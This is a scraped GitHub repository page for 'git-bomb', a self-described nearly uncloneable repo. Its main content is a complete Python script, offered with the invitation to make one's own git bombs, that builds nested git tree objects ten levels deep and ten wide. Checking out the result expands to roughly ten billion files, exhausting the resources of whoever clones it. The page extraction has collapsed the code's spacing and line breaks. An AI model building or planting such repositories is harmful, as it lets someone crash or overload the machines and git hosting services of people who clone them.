Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up

A (nearly) uncloneable repo

NotificationsYou must be signed in to change notification settings

YoshiTheChinchilla/git-bomb

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

A (nearly) uncloneable repo. Make your own git bombs:

#! /usr/bin/env python3importbinasciiimportsubprocessimporttempfiledefwrite_git_object(object_body,type='tree'):'''Writes a git object and returns the hash'''withtempfile.NamedTemporaryFile()asf:f.write(object_body)f.flush()command= ['git','hash-object','-w','-t',type,f.name]returnsubprocess.check_output(command).strip()defwrite_git_commit(tree_hash,commit_message='Create a git bomb'):'''Writes a git commit and returns the hash'''command= ['git','commit-tree','-m',commit_message,tree_hash]returnsubprocess.check_output(command).strip()defcreate_tree(dirs,perm):body=b''fora_dirinsorted(dirs,key=lambdax:x[0]):body+=bytearray(perm,'ascii')+b'\x20'+bytearray(a_dir[0],'ascii')+b'\x00'+binascii.unhexlify(a_dir[1])returnbodydefcreate_blob(body=''):returnbytearray(body,'ascii')if__name__=='__main__':depth=10# how many layers deepwidth=10# how many files or folders per depth levelblob_body='one laugh'# content of blob at bottom# create base blobblob_hash=write_git_object(create_blob(body=blob_body),type='blob')# write tree object containing many filesdirs= [('f'+str(i),blob_hash)foriinrange(width)]tree_hash=write_git_object(create_tree(dirs,'100644'),type='tree')# make layers of tree objects using the previous tree objectforiinrange(depth-1):other_dirs= [('d'+str(i),tree_hash)foriinrange(width)]tree_hash=write_git_object(create_tree(other_dirs,'40000'),type='tree')commit_hash=write_git_commit(tree_hash)# update master refopen('.git/refs/heads/master','wb').write(commit_hash)

About

A (nearly) uncloneable repo

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

[8]ページ先頭

©2009-2025 Movatter.jp